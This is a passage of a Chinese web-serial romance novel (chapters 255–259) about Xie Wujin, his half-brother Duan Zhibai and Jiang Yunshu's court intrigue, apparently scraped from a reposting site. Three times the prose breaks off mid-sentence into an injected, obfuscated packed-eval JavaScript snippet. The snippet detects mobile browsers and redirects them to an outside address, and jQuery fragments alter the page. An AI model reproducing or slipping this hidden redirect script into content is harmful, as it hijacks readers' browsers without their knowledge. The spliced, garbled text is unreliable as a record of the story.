“谢世子尽管放心,这件事我做得很隐蔽,便是被发现也不会查到这里。” 说着,他抬脚在那孩子屁股上踢了一脚,邀功一般看向谢无烬,“这是我对谢世子的诚意。” “诚意?” 谢无烬眸光一闪,下一瞬,寒光自眼前闪过,他的剑便落在了庄锡恒的脖颈上。 他的动作太快,庄锡恒身边的侍卫甚至都来不及反应,他家主子已经受困于长剑之下。 “谢,谢世子,你这是何意?我可是为了你才将这小崽子绑过来的!” 庄锡恒瞪大眼睛,一张脸不知是因为震惊还是因为恐惧,霎时间变得惨白惨白的。 “庄锡恒,你既然知道他是驻边将军之子,谁给你的胆子让你敢动他?” 谢无烬阴骛的视线落在庄锡恒脸上,眼神之中带着一股平静的杀意。 驻边将军家的孩子? 姜云舒眼神猛地一凝,来不及多想,紧忙上前将那孩子扶起来,给他松绑。 庄锡恒整个人都在这突然间的反转之中僵住,他嘴角颤了颤,还没想好说什么,被他踹倒在地的孩子突然开了口。 “哥……” 孩子带着哭腔,说话间,几步冲到谢无烬跟前,委委屈屈地拽住他的衣角。 哥? 别说姜云舒,在场所有人都震惊地瞪大了眼睛。 渊政王只两子,除了谢无烬这个长子,便是小郡王谢怀琛,姜云舒虽未见过谢怀琛,但也知道他们兄弟两个之间只相差四岁,而眼前这孩子,看起来也不过十岁的样子。 这弟弟是从哪里冒出来的? 正懵着,谢无烬扭头朝那孩子看了一眼,问:“伤到没有?” 他的声音平静,但言语之间带着一丝说不上来的柔和。 “没有。” 孩子一边说着,抬手拍打拍打自己身上的尘土,随即抬起头来,小心翼翼的打量谢无烬脸上的表情。 谢无烬瞥着他的确不像受伤的样子,眼神沉了沉,似是没好气的叹一口气。 “你就这么容易被人绑了?” 他的语气带着几分质问,颇有恨铁不成钢的感觉。 那孩子被问得一缩,扯了扯嘴角,紧忙解释,“我反抗了,就用你教的招数,我放倒了六个呢,可是架不住他们人多,我打不过……” 他的声音越来越小,说到最后干脆闭了嘴,依旧撩着眼皮偷偷观察谢无烬的表情。 瞧着两人眼神来往,姜云舒深吸一口气,随即双手环抱在胸口后退一步,准备看戏。 谢无烬察觉到姜云舒的动作,扭头瞧她一眼没吱声,随即又转向那孩子。 “路上挨揍了吗?” 这话一问出口,那孩子当时便瞪起了眼睛,抬手朝庄锡恒一指。 “他,他打我头,还对我一个小孩子使阴招,忒不要脸!” “我……” 庄锡恒要反驳,然而,刚一个字出口,就感觉脖颈间传来凉意,顿时不敢再动。 “过来。” 谢无烬叫那孩子,“他怎么打你的,你就怎么还回去。” “真要打啊?”那孩子眨巴眨巴闪亮的大眼睛,“听说他是京中世家,这能打吗?” 京中处处可见权贵,真要打了哪家的王爷小世子的,回去怕是不好交代。 谢无烬眼睛一眯,“你不打回去,我就把你留给他。” 话刚说完,就听“啪”的一声响,等回过神来,就见庄锡恒脸上多了一个清晰的巴掌印。 姜云舒嘴角颤了颤,看不出来,这孩子瞧着挺瘦,劲儿真不小。 正感叹着,又见那孩子转了个身,飞起一脚朝着庄锡恒的命根子就踢了过去。 庄锡恒连躲都来不及,结结实实挨了段知白一脚,他捂着裆,“嗷”的一声惨叫,龇牙咧嘴地在原地蹦跶,那扭曲的表情,比之前在擂台上挨姜云舒那一脚时,还要恐怖。 嘶…… 姜云舒都忍不住倒吸一口凉气。 这得多疼啊! “小兔崽子,你,你竟敢……” 庄锡恒捂着裆在地上打滚,滚了两圈停下来,抬手指向谢无烬,“谢无烬,你别太过分,我可是为了你……他可是你母妃和那男人的孽种,你母妃为了他抛弃你,你不恨吗!” “胡说八道,我娘才没有抛弃我哥!” 那孩子朝庄锡恒怒吼一声,一边吼着,又朝他身上踹,“你才是孽种,小爷名叫段知白,我是爹娘名正言顺的孩子,你再敢诋毁我爹娘,我一定让我哥把你脑袋拧下来!” 此时段知白瞪着眼睛,刚才怯懦委屈的模样不见分毫。 嗯,有家里大人撑腰,的确是这样。 谢无烬脸色有些低沉,但任由那孩子朝庄锡恒又踢又踹。 而此时,原本看戏的姜云舒在听到庄锡恒那咬牙切齿的怒吼时,眼神随着一滞。 那意思,这孩子是谢无烬同母异父的弟弟? 第255章 庄锡恒,你要叛变? 渊政王府和离令嫁一事,她倒是听墙角时,听到母亲说过,也知道自从渊政王妃离开后,谢无烬性格变得暴戾乖张。 原本她也以为谢无烬是被抛弃的,可如今看谢无烬护着那孩子,或许其中并非他们以为的那样。 正想着,庄锡恒踉踉跄跄站了起来,他一张脸涨成猪肝色,眼眶子都红了。 “谢无烬,这里是京城,我若出事,你以为你能捞到什么好处?” 即便人已经残废,但他到底是太师府唯一的子嗣,他死了,皇上便是本着给太师一个交代也不能饶了谢无烬。 姜云舒蹙眉,眼瞧着谢无烬眼底寒凉又添一层,下意识上前拦住。 “谢无烬能不能独善其身另说,但拐带官员子嗣可是大罪,尤其,拐带边境官员子嗣回京……” 姜云舒往庄锡恒跟前走近两步,“庄大公子,你该不会是想着以这孩子为筹码,威胁驻边将军交出虎符吧?庄锡恒,你要叛变?” “姜云舒,你胡言乱语什么!” 庄锡恒急眼了,当即眼珠一瞪,“我太师府誓死效忠皇上,从无二心!” “嘴里喊出来的口号有什么分量,你要解释,就去跟皇上解释。”姜云舒一脸无害地朝他眨眨眼睛。 “你!” 庄锡恒一句话卡在喉咙里,张张嘴,愣是说不出一句反驳的话。 此时此刻,他整个人都还是麻的。 依照他接收到的消息,谢无烬对渊政王妃是满腔怨恨的,甚至,当年他还亲自率兵去了驻边将军的镇守营地。 两军对质三天两夜,若非当时渊政王亲自率兵召回,他怕是要捅出天大的篓子。 也正是因为这件事,谢无烬在渊政王面前失了势,侧妃和小郡王的地位逐渐升高,以至于他作为质子身份送进了京城。 按理说,谢无烬应该对渊政王妃满腔怨恨才对,对于这个抢了他母亲的弟弟更恨不得扔进深山喂狼。 自小生活在深宅之中,庄锡恒自沈宅内斗之中长大,他认为他是能共情谢无烬的,所以他才会为了讨好谢无烬将这小崽子送到谢无烬面前,究竟是哪里错了,怎么能发展到如此地步! 他想不明白,可如今局势已然让他站在了悬崖边上。 “谢世子,不管如何,我本心是想与你求和表诚意的,我们之间也从无过节,不至于没得商量,是不是?” 庄锡恒努力扯了扯嘴角,扯出来的笑容比哭还难看。 一边说着,他仔细观察谢无烬脸上的表情,见他面色平静,感觉有谈判的余地,抬手,将谢无烬的剑往旁边推了推。 “你看,这一路上我也并没有伤害段小公子,反而刚才被他重伤,这个我们不计较,段小公子这一路受到了惊吓,我愿意赔偿五千两银子作为安抚,你看如何?” 谢无烬没有回答,只是歪了歪头,视线睨在他脸上,“你也知道,他是驻边将军的儿子。” “一万两!” 庄锡恒紧忙加价,一边说着,小心翼翼的盯着谢无烬的视线,见他不动声色,紧忙又加了一句,“再加长临街一套四进的宅子!” “还有东城郊的风竹林。”谢无烬又添了一句,随即扭头看那孩子,“小白,你说呢?” 段知白抬眼朝谢无烬看过来,眼神中带着一丝茫然,“我都听哥的。” “来人,拿纸笔。” 谢无烬冷淡开口,很快有人将纸币拿了过来,随着他努努嘴,将纸笔送到庄锡恒面前。 “口说无凭,还是要落在实处,庄大公子签字画押才算。” 谢无烬一边说着,将长剑收了回来。 庄锡恒咬着后槽牙,攥成拳头的双手亦抑制不住轻颤。 然而,此时即便再愤怒,可被人抓住了把柄,就只能咽下这口窝囊气。 咬牙切齿地写完自愿赠与书,庄锡恒没好气地交给谢无烬,谢无烬伸手去拿,他却又突然收了回来。 “如今到了这个地步,索性便与你明说了,折腾这一遭,原也是为了治伤,人情走不通,索性谢世子便开个价,只要能治好我的手臂,多少银子都能谈。” 说话间,庄锡恒在自己那残臂上扫过一眼,眼底压抑的不甘心都快溢出来了。 “庄大公子口中那活死人肉白骨的秘术,或许真的存在,但你找错人了。”谢无烬冷声回道。 “不可能!” 庄锡恒猛然间瞪大眼睛,“当初渊政王也曾受过严重腿伤,是你不惜一切派人救治,才得以恢复如初,你怎么会不知道!” “我?” 谢无烬唇畔勾起一抹弧度,可下一瞬,脸上的笑意书然健全部散开,“你难道不知道,渊政王有两个儿子?事情只知其一便妄自行动,看来,太师府是难起来了。” “你!” 庄锡恒脸色骤然一沉,却也只能瞪着眼睛,半晌没能反驳,朝着身边侍卫冷喝一句,拂袖而去。 等庄锡恒的人走了,段知白那双大眼睛眨了眨,猛地扑到谢无烬身边,一把抱住他的腰。 “哥,我可想你了!” 刚才还像头小狮子一样的段知白,此时在谢无烬跟前又成了一直温软的小猫。 谢无烬低头,抬手撑住他的肩膀,往外一推。 “不说实话,别叫我哥。” 他的声音低沉,透着一股渗透人心的凉意。 段知白抬头,与他视线相交一瞬间又紧忙低下头来。 “我,我本来是能逃的,但是听到那些人说是要送到哥这里,就顺势装晕被他们带过来了。” 他扯着嘴角赔笑,结果被谢无烬瞪一眼,脸上的笑又收了回去。 谢无烬依旧周身低沉地瞪着他,“你知不知道,你这一失踪会引起多大的乱子,万一你有个闪失怎么办!” “不会的,真的不会!”段知白紧忙正色,“有留风他们跟着,我不会有事的。” “还敢还嘴!”谢无烬脸色一沉,手便跟着抬了起来。 “哥,我错了!” 段知白求饶倒是快,说着,朝姜云舒这边看过来,眼睛转了一圈,忽然奔向姜云舒。 “姐姐,快救救我!” 说着,他一个闪身藏在了姜云舒身后。 见姜云舒挡在跟前,谢无烬举起的巴掌停在半空,最终,无奈叹一口气。 “卫临风,给驻边将军去一封信。”他吩咐道。 “是!”卫临风领命,转身往外走。 瞧着这顿打是逃过去了,段知白终于松一口气,随即歪着头看向姜云舒。 “漂亮姐姐,你就是阿舒姐姐吗?” 第256章 生母 “你知道我?”姜云舒低头看他,眼中带着一丝惊讶。 刚才判断段知白的身份,是根据他们之间谈话来的,可那谈话之中并未提及自己啊,这小子怎么知道的? “那是自然!” 段知白忽略谢无烬依旧阴沉的脸色,转身走到姜云舒跟前,“你还不知道吧,我哥回京可是为了来找你的,当时还是我娘让他来的呢。” 一边说着,他那双黑亮亮的眼睛朝姜云舒眨巴眨巴。 姜云舒又是一顿,扭头看向谢无烬。 谢无烬没说话,只是脸上的表情变得有些不自然。 而此时,段知白看着两人的反应,唇畔勾起一抹黠笑。 “阿舒姐姐,你可不知道,我哥他…… 唔!” 话还没说完,谢无烬突然间伸手捏住了他的嘴唇,生生将嘴边的话给他堵了回去。 段知白挣扎了几下,自己被扯着嘴唇疼得龇牙咧嘴,只能求饶。 “卫临冲,带他去洗洗,这是被关在猪笼子里运回来吗,臭死了!” 谢无烬一脸嫌弃的将段知白扔给了卫临冲。 段知白挣扎不过,被卫临冲生生拽了出去,出门时,他还是不忘朝姜云舒挥挥手。 卫临冲一手拎着段知白离开,此时,房间之中只剩姜云舒和谢无烬。 此时,店小二正好送来了点心。 “饿了吧,先吃东西。” 谢无烬抬手,将筷子送到姜云舒跟前。 原本姜云舒还真是饿的,结果,经过这么一闹,那股子饿劲儿散了,倒也没什么感觉了。 不过眼瞧着这么多东西摆上桌,她还是接了筷子。 “你不问问我吗?”谢无烬突然开口。 姜云舒夹菜的动作顿了一下,抬头看他一眼又继续夹起刚才的肉。 “你想告诉我的话,会说的。”她回道。 谢无烬看着她,有些无奈的叹一口气。 “小白说的没错,回京是我自己要求来的。” 他一边说着,抬手给姜云舒夹了一筷子距离她有些远,但她夹了好几次的菜,“一来,的确是为了找你,二来,渊政王府军中出了奸细,我是回来调查的。” 姜云舒抬头,“其一不说,你这其二也算是军中机密了,告诉我没有关系吗?” 奸细这种事情,对于主帅来说,都是脸上抹黑的事,而且,既然知道出了奸细,那么从调查开始便是军中机密,若定国将军府出了奸细,姜云舒大概谁都不会透露。 谢无烬仰头灌进一杯酒,迎着姜云舒的视线,笑得略显无奈。 “若是一开始,我自然不会告诉你,但调查到现在,竟然和你的方向一致,我们两者合作,岂不是更好?” 定国将军府通敌一案,即便姜将军已经认罪,但军中有间隙基本可以确定,而这段时间姜云舒调查的方向和目标逐渐汇聚在一处,如之前一般协作总比孤军奋战来得好。 “原来,你之前与我说的协作是这个意思。” 姜云舒挑了挑眉梢,抬手端起酒杯朝谢无烬举了举,仰头饮下。 嗯,说起来,他们也算是有过生死之交的盟友了。 “还有呢?段知白和你……” 她的话没说完,只等着谢无烬后面的解释。 “关于小白,那就是长辈们的事了。” 谢无烬抬手又给自己和姜云舒的酒杯续满,随即叹一口气,“崇光寺偏殿,我带你祭奠的那位,是我的生母。” 生母? 姜云舒眼神一滞,眸中带出惊讶。 她曾猜想过那位名叫“香茗”的女子各种身份,却从未想到,竟然是谢无烬的生母! 而此时,提及生母,谢无烬的脸色逐渐低沉下来,看起来还算平静的脸上平添了一层悲伤。 姜云舒伸手搭在他的手背上,轻轻拍了拍。 谢无烬转手握住她的手,深吸一口气。 “我的生母是西晋公主,当年为了逃避和亲,她从送亲队伍中出逃遇上了山匪,而那时,我父王刚好领兵经过,便救下了她,你大概也能明白,战场之中萌生的感情是透过生死的牵绊,他们很快在一起。” 说着,他仰头又饮下一杯,继续道:“那个时候,京城的太妃并不知父王与母亲的事,她在京城看中的是我母妃,母妃和父皇自小一起长大,青梅竹马,门当户对,最为相配,可她不知道,父皇和母妃性格相似,脾气相投,他们是最好的朋友却不会相爱。” 他说起长辈的事情时,言语平静,却似乎能感同身受他们的苦涩,言语之间也带着几分低沉。 姜云舒抬手回握着他,“所以,是太妃拆散了你的父王和母亲?” “不是拆散,而是拿我生母逼迫父王,若父王不与母妃成婚,她便要我母亲的命。那时,父皇忙于战场之事,总有顾及不到的时候,太妃管理渊政王府多年,她要一个人死,有的是手段。” “可你不是说,渊政王和王妃不会相爱,她怎么会……”姜云舒蹙眉。 既然是门当户对,明知道渊政王心里有人,渊政王妃也并不喜欢他,为什么还要委屈自己? 不等她多想,又听谢无烬接着说:“那个时候,母妃也有一个心心念念之人,就是小白的生父,段崇将军,而那时,南罗边境动乱,作为副将的段崇将军战死的消息传来,母妃痛不欲生,为了替他守节,便与父皇达成了协议。” 一个是为了守护心爱的女人,一个是为自己心爱的男人守节,各为其目的成婚,又各自守护自己的本心。 姜云舒眼皮动了动,没说话。 “当时,我生母已经有孕,太妃不允许渊政王府长孙庶出,便命人给我娘下堕胎药,是母妃发觉后,暗中将我娘藏了起来,随即对外宣称她自己也有了身孕……” 他停了一下,又接着说,“自我出生,所有人都以为我是母妃所生,原本对于大家来说,也算是圆满,可偏偏太妃的人找到了我母亲,发觉这一切是被母妃做了局,她趁着父王公办外出,将我母亲扔去了乱葬岗。” “什么!” 姜云舒的手猛地收紧。 乱葬岗的晚上,都是吃人肉的野兽,便是野狗,也因为吃了人肉眼睛都是红色的,还在月子里的人被扔去乱葬岗,怕是被活活撕咬,连骨头都嚼碎了! 元太妃常年礼佛,没想到背地里做出的竟然这般丧心病狂的事! 第257章 你要怜惜我 “所以,渊政王迁出京城,落地淮州常年不归,便是因为这件事?”姜云舒抿着唇。 “是。” 谢无烬低低地应一声,随即沉一口气,“十年前,母妃查到了段崇将军还活着的消息,父王便与她和离,差人将她送去了驻边境地,原本,我也不知道的,毕竟这么多年,母妃待我如亲生,我千方百计查到母亲的踪迹,便直接找了过去,却发现她怀中抱着一个刚出生的孩子。” “当时,我也曾以为我是被母妃抛弃的,也有过怨恨,甚至险些对段将军出手,最后迫不得已,母妃告诉了我真相。” 故事说道这里,也讲的差不多了,原本姜云舒是喜欢听故事的,可是不知为什么,这故事带入谢无烬,她只感觉心口一股酸涩涌了上来,一时间,不知该心疼他自小没了生母还是该庆幸还有人爱他。 难怪,谢无烬看元太妃的眼神之中透着一股杀意,难怪,元太妃明明气势很强,却在谢无烬面前总是难掩心虚。 感觉到姜云舒握在自己手上的力道收紧,谢无烬转手在她手背上拍了拍。 “我现在很好。”他朝她弯了弯唇角,可面上的笑容却透着一股苦涩。 很好吗? 其实,他回京的第二个原因,也不尽然是为了调查奸细吧,毕竟,他这个渊政王世子的名头来得有些大。 这些年,姜云舒虽并未与谢无烬见面,但从母亲口中,还是听过他的一些传言,除了渊政王和王妃和离的前几年,他性情大变,接下来的几年,渊政王对于那位郡王也变得越发重视。 “谢无烬,你这么凶,怎么还这么可怜呢。”姜云舒忍不住开口。 “可怜”两个字,用来形容谢无烬,似乎有些不太相称,闻言,谢无烬抬起头来,眼神微变。 “是啊,我都这么可怜了,你还欺负我。”他长长地叹一口气。 “我什么时候……”姜云舒下意识反驳,可话说一半又停住。 退了他的婚,也算是欺负吧…… 一时间,姜云舒张张嘴,却不知说什么。 眼瞧着她面上多了几分愧疚,谢无烬侧身往她跟前凑了凑。 “看在我这么可怜的份儿上,阿舒为什么不能怜惜怜惜我呢?” 明明知道他是故意的,可与他那双幽深的眸子对视时,姜云舒只觉得自己的心跳莫名加速。 “你……” 姜云舒抬手推着他的肩膀,将两人的距离拉开,抬头迎着他的视线,神情多了几分认真。 “我承认,之前因为我的任性退婚的确让你伤心,但现在我们在一起,并不是因为可怜你,我……” “你的意思是,我们现在是在一起了?”谢无烬忽然打断她,脸上顿时扬起兴奋。 姜云舒被他突然的一句话问愣住,张张嘴,竟不知该说什么。 亲也亲了,抱也抱了,在人看来,就是在一起了,可姜云舒自己却还觉得两人之间隔着一层什么。 此时,谢无烬满是期待的视线等着她的回答,姜云舒嘴角动了动。 “哥,我好饿,有什么……” 段知白的一边喊着冲进来,猛地就看到凑在一起的两张脸,下一瞬,猛地捂住自己的眼睛。 “我什么也没看见!” 他大喊一声,转身就往外跑,只是还没跑出去两步,又被谢无烬叫住。 “站住!” 谢无烬黑着一张脸站起身来。 段知白脚步骤然停住,僵硬的转过身来,朝谢无烬扯了扯嘴角,露出一个苦命的笑。 “哥……我真不是故意的……” “进来,吃饭!”谢无烬没好气。 段知白歪着脖子朝里面看一眼,见姜云舒没事儿人一样还在吃,砸吧了一下嘴,扭头转回来。 “嘿,漂亮阿舒姐姐,可以给我添一双筷子吗?”段知白朝姜云舒眨眨眼睛。 这一桌子,原本准备的就是三个人的饭菜,除了姜云舒和谢无烬的碗筷,旁边还留着一套。 她转手,将碗筷递给段知白。 “吃吧。” “还是阿舒姐姐好!”段知白接过碗筷,大口吃了起来。 看得出来他是真饿了,即便举手投足还勉强维持着优雅,可夹菜的动作却带着几分急切。 姜云舒将远处的菜给他挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜云舒瞧着那孩子可怜兮兮的模样,一时间有些受不住。 “渊政王府是不能去的,要不然,小白跟我回县主府,左右我县主府少有人来,多一个孩子,也并不会起眼。” 她说着,思量片刻,又道:“如今西晋边境不稳,小白留在这里,也不失为一件好事。” 谢无烬眼神滞了一下,随即明白了姜云舒的意思。 第258章 被人做局 和北夷边境不同,西晋那边除了两国交锋,中间还掺杂江湖势力,尤其,封狼阁就在西晋边境,防不胜防。 若能让段知白以一个合适的理由留在京城,以谢无烬和姜云舒的能力,保他安全并不是什么难事。 可难就难在,那个合适的理由。 此时听着姜云舒话里话外是能想办法让自己不必马上离开,段知白连饭都不吃了。 “哥,我一定乖乖听话,哪怕你找先生来盯着我,我也不逃课,乖乖听学。”段知白紧忙表明态度。 谢无烬斜了他一眼,再转向姜云舒,表情稍稍缓和几分。 “你说得对,明日我便去找阁老,小白便交给你了。”谢无烬道。 “嘿,哥,我真的可以不用立马就走了?”段知白扬着眉毛,一脸笑容。 谢无烬叹一口气,抬手在他头上抚了抚,认真交代,“不许给阿舒添麻烦。” “是!哥哥尽管去忙,我一定乖乖听舒姐姐的安排,哥哥不在时,我一定全力守护舒姐姐!” 人不大,这几句话倒是说得跟宣誓似的,别说,还真有几分战场历炼出来的气势。 用完晚膳,谢无烬将姜云舒和段知白送回县主府。 谢无烬离开时,还警告段知白要得体懂礼,姜云舒喜欢安静,让他不要太闹腾。 段知白当年答应得好好的,结果谢无烬刚离开,他仿佛就跟现了原形似的,“蹭”的一下就从马车上窜了下来。 “舒姐姐,明日带我出去逛逛呗?我听说,京城有个万宝楼,里面什么都有,可长见识了!” 姜云舒低头看着他,嘴角颤了颤。 “你不知道我们方才是在什么地方?” “那我怎么能知道呢,我可是第一次来京城。”段知白撇了撇嘴。 “那可不就是万宝楼?”月禾忍不住轻笑出声,“不过,是哪个缺德的,跟你说来京城要去万宝楼的?那地方可不是你应该去的,不是什么好地方!” 好家伙,跟一个孩子说青楼,这军营之中说荤话还真是不避着,要让段将军知道,少不得挨二十军棍。 “那就是万宝楼?” 段知白眨巴着眼睛,回想着之前万宝楼里的场景,面上略带失望。 “也不过如此,就饭菜还可以,倒没觉着哪里好玩儿。” 说着,他扭头看向姜云舒,“舒姐姐带我去更有意思的地方吧!我想吃可多的好吃的,还要给我娘和我爹买一些好玩儿的带回去。” 一句话,让姜云舒对这孩子的好感度提高了不少。 出门还能时时刻刻惦记爹娘的孩子,的确让人喜欢。 “好。”姜云舒淡淡应一声,抬脚往里走。 刚进门,段知白看着县主府四处的摆设和装潢,忍不住赞叹出声。 “这是舒姐姐一个人的府邸,好厉害!” “那是自然,都是县主,可小姐是唯一一位有封地的县主,就连城外的清风村也是独立于京城,单独由小姐掌管的村落,这是实权。”月禾与有荣焉地昂起头。 “我就说,哥哥一路追过来的女子,定然是不一样的。”段知白扭头给了姜云舒一个崇拜的眼神。 姜云舒歪着头睨他一眼,不由得心中感叹,这孩子,随谁呢? 听娘说,那位前渊政王妃可是一位温婉之人,便是在京城贵女之中,也算得上典雅端庄,而那段将军虽然出身武将,可为人也是忠厚稳重的,怎么这么两位稳妥的人,生出了一个这般跳脱的孩子? 别的不说,就这张嘴,张口便能将人哄得眉开眼笑,小小年纪便如此能捕获人心,长大了还不得满身桃花债? 几个人往里走,姜云舒带段知白去了依梅院。 此时薛神医刚从炼药室出来,见姜云舒身边多了个十来岁的孩子,不由得一愣。 “师父,这是段知白,驻边将军段崇的公子。” 姜云舒拉着段知白上前介绍。 介绍完段知白的身份,又简单的跟薛神医说了他是怎么来京城的,并未隐瞒。 薛神医垂眸,视线在段知白身上打量。 “既然来了,便安心住着吧。” 最后,薛神医说了这么一句。 “多谢薛神医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380985|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我会乖乖听话,不会吵着您的。”段知白紧忙道。 姜云舒挑眉看着此时稳重得体的段知白,忍不住暗自咋舌。 这收放自如的模样,还真真和谢无烬有几分相像。 从依梅院出来,月禾带着段知白去了客房,姜云舒则回到自己的院子。 刚坐下,屋内人影一晃,下一瞬,冥风出现在屋内。 “参见小姐。”冥风行礼。 “这个时间过来,可是赤羽旧部的事情调查出结果了?”姜云舒脸色微微沉了几分。 就在凤台山狩猎节之后,原本归入玄武军的赤羽旧部接连有六位将领被革职查办,意识到事情不对劲,姜云舒便暗中派冥风调查。 “是,属下暗中与诸位涉事官员接触过,六人中,其中四人是被人设计陷害,另外兵马司的赵大人和军器监的胡大人的确有收**赂实证,但数额不大,依照军中不成文的规定,并不至于到撤职的程度。”冥风禀报。 姜云舒蹙眉,垂眸思量瞬间,又问:“督查方都是谁的人?” 有人被革职查办,便有人举报督查,若是被诬陷做局,定然少不了背后之人。 “兵部侍郎庞正豪,御史台洪秋明,玄武军提督李嵩……” 冥风接连说了几个人名,越说,姜云舒脸上的表情越阴沉。 这些人中,三皇子党,六皇子党,太师府……朝中各大势力均有牵扯。 “这就有意思了。” 姜云舒牙齿轻轻咬着下唇,蹙着眉思量。 凤台山一炸,原本入编玄武军的赤羽军旧部便由皇上直接接管,总不能几大势力联合起来给皇上施压吧。 此时人物关系一片混乱,姜云舒一时理不清索性暂时搁置,扭头再看向冥风。 “如今革职查办的几位大人已经入了天牢,他们的家人总要安置,后续的事情,交给你。” 说着,她转身从旁边的匣子里拿出一张银票递给冥风。 “是。” 冥风接过银票却并未离开,又接着禀报,“还有一件事,乾山雷土矿那边,金不二不见了。” 第259章 宫里的赏赐 “你说什么?”姜云舒的眉头还没舒展开便又拧了起来。 这些年,姜云舒通过金不二从乾山雷土矿运送了不少雷土,其中一部分已经进了京,金不二在这个节骨眼上失踪,那么京城之外的雷土便很有可能被查出来。 “把城外的雷土转移到黑云寨,留两队人守着,一旦发现有人潜入黑云寨,不必死守,只将雷土沉入海里销毁。”姜云舒深吸一口气。 黑云寨占据地理优势,小岛周边都是水,防守起来尤为突出,这也正是黑云寨能在京城脚下存在多年的原因。 “是,属下这就去办!” 冥风应声,闪身的功夫消失在屋内。 月夜之下,一片朦胧轻盈笼罩在周边,姜云舒坐在桌边,手指一下一下的点在桌面。 回想凤台山狩猎节发生的诸多事件,她架在三皇子和六皇子势力之间,位置微妙。 三皇子之前拉拢她不成,转为针锋相对也在预料之中,但依照三皇子的行事风格,此时这个节骨眼上,不会动赤羽军旧部,这对他来说没有好处。 信阳侯府的兵力集中在城卫,而狩猎季之后,谭秉白刚任职城守尉,自然也不会在这时动赤羽军的心思。 至于皇上,当年皇上与父亲共同率兵平定边境,赤羽军旧部于皇上来说也是他的旧部,介于之前赤羽军旧部在入编玄武军时诸多惹事,皇上可能会杀鸡儆猴,但不会同时拽下这么多人。 思绪整理着此时各方势力的关系,越是往深处想,姜云舒便越发感觉周边有一张大网,不止她,三皇子,六皇子,朝中各势力,都被这张大网笼罩其中,而撒网之人正透过网眼看着他们在其中拼杀。 这一晚上,姜云舒睡得并不踏实,清晨天还没有大亮,她便已经醒了。 醒来独自在床边坐了一会儿,实在无聊,便起床让月禾喊了段知白去院子里练功。 昨晚睡下之前,段知白还暗中兴奋,终于没有了爹娘盯着,可以睡个懒觉,结果,美梦还没做完就被月禾的声音吵醒了。 练功的庭院中,段知白噘着嘴就来了,瞧见姜云舒正在凉亭里喝茶,满脸的埋怨就更明显了。 “哎呀,舒姐姐,我可是一路上颠簸进京的,都那么累了,你就不能让我多睡一会儿吗!” 姜云舒扭头,“你哥将你交给我,我自然要为你的衣食住行负责,届时你武功退步了,那便是我的招待不周了。” 说着,她放下杯盏站起身来,随手从旁边的兵器架子上拿下一支**扔给段知白。 听谢无烬说,段知白今年十二岁,自小在军营中长大,各类兵器都上过手。 段知白见**过来,下意识抬手接住,正要说话,却见姜云舒的鞭子甩了过来,来不及多想,快速后退一步,转手间,**朝着姜云舒刺了过来。 月禾站在旁边,眼睛盯着段知白的招式,不得不说,这孩子看起来瘦弱,武功却并不差,其中凑近攻击的几招还颇有谢无烬的影子,狠厉,果断。 平心而论,以段知白如今这水平,比京城皇亲世家的公子都要强,不过,到底是年纪小,耐心不足,很快在接连进攻不得手后,开始急躁起来。 二十招后,段知白的短处开始暴露,姜云舒依旧不急,连续在他薄弱之处进攻,最后一个漂亮回神,长鞭简短的**抵在段知白的喉间。 “你,你……” 段知白张着嘴,想说话却又喘不上气来,半晌没说出一个字。 姜云舒收了长鞭,站在原地居高临下的看天他,平淡开口,“你的招式很凌厉,但是下盘不够稳,出枪速度不够,性子太过急躁,若能进行专门的强化训练,一年时间,你的武功能更近一层。” 许是最近这段时间一直在带暗卫队,姜云舒习惯性点评。 段知白撑着**急速平稳了气息,站起身来看向姜云舒,清晨的阳光明媚却不强烈,自头顶投射下来洒在姜云舒身上,仿佛给她镀了一层圣光一般,意思几件有些晃眼。 “你,武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387613|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功这么强的吗?”段知白半晌说了一句话,“不是说,你自小体弱,并不善习武?” 姜云舒正收着鞭子,被段知白这冷不丁的一句话说得动作一滞。 大概是为了保护自己,自儿时回京,父母便给姜云舒塑造了一个顽皮却武艺不精的形象,便是当年那几场战役,也是以大哥和二哥的名义上报,除了皇上,外人并不知姜云舒的武功到什么程度。 哪怕是在凤台山狩猎节打擂台,姜云舒也是收着打的,段知白竟然看得出来? “是你武艺不精。”姜云舒不以为意地回一句。 “才不是!”段知白一脸不服气,“我爹都说了,我这个年纪,我的武功已经是军中上乘了,你刚才和我对打,若是出全力,我根本撑不过五招,你怕是都能和我哥打个平手了!” 姜云舒垂眸看他,眼皮不着痕迹地动了动。 每每回想和谢无烬交手的几次,姜云舒便忍不住攥拳头。 不是平手,她不是谢无烬的对手。 “用不着提你哥,现在说的是你,你菜就得多练。” 姜云舒转身往外走,段知白楞了一下,将**扔给月禾跟了过来,正要再说,却见郭攀急匆匆进了院子。 “县主,宫里来人,说是赏赐。” “赏赐?” 姜云舒脚步顿住。 难不成,是因为凤台山**时,舍身救下七公主的赏赐? 想到这里,姜云舒的脸色反而微微沉了几分。 皇上知道凤台山私囤**的真相,自然明白,她救七公主的前提是她利用了七公主,这赏赐本不该有的。 姜云舒想不明白皇上这葫芦里卖的什么药,索性也不必多想。 “小白,你先跟白芷用早膳。” 姜云舒交代一句,转身往外走。 